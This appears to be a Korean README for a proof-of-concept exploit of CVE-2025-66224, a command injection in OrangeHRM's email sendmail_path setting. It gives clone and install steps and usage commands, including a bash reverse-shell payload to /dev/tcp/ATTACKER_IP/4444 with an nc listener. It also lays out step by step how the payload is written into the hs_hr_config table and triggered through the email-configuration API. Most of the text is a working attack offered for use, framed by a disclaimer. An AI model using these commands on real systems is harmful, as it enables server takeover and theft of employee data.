
CVE-2025-66224에 대한 개념 증명(PoC) 익스플로잇으로, sendmail_path 매개변수의 명령 주입을 통해 OrangeHRM에서 원격 코드 실행을 시연하며, 자동화된 데이터베이스 페이로드 주입 및 정리 기능을 포함합니다.
이 개념 증명(PoC)은 OrangeHRM의 sendmail_path 구성 매개변수에 대한 명령 주입을 통해 원격 코드 실행(RCE) 취약점을 입증합니다.
이 익스플로잇은 다음 방식으로 동작합니다:
hs_hr_config 테이블)에 악성 페이로드를 주입합니다.이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrm 쿠키 값을 복사합니다.python3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Start listener on attacker machine
nc -lvnp 4444
# Execute exploit with reverse shell payload
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
이 취약점은 sendmail_path 매개변수가 데이터베이스에 저장된 후 적절한 검증 없이 실행되는 이메일 구성 기능에 존재합니다.
익스플로잇 흐름:
1. Authenticate to OrangeHRM (obtain valid session cookie)
↓
2. Connect to MySQL database
↓
3. Locate hs_hr_config table
↓
4. Update email_config.sendmail_path value:
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Trigger execution via API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Command executes on server
↓
7. Restore original value (cleanup)
취약한 매개변수: email_config.sendmail_path
데이터베이스:
hs_hr_configname = 'email_config.sendmail_path'value = sendmail 명령 경로트리거 엔드포인트:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_path 매개변수에 대한 엄격한 검증 구현PoC 작성: RiccK
팀: Bypassadores && HackersOnSteroids
⚠️ 책임 있는 사용. 테스트 전 반드시 적절한 승인을 받으십시오.
| 매개변수 | 단축 | 필수 | 설명 |
|---|
--target | -t | ✅ | 대상 URL (예: http://target.com) |
--cookie | -c | ✅ | 세션 쿠키 값 |
--cookie_name | -cn | ❌ | 쿠키 이름 (기본값: _orangehrm) |
--command | -cmd | ✅ | 대상에서 실행할 명령 |
--db_host | -dh | ✅ | MySQL 호스트 주소 |
--db_user | -du | ✅ | MySQL 사용자 이름 |
--db_pass | -dp | ✅ | MySQL 비밀번호 |
--db_port | -dport | ❌ | MySQL 포트 (기본값: 3306) |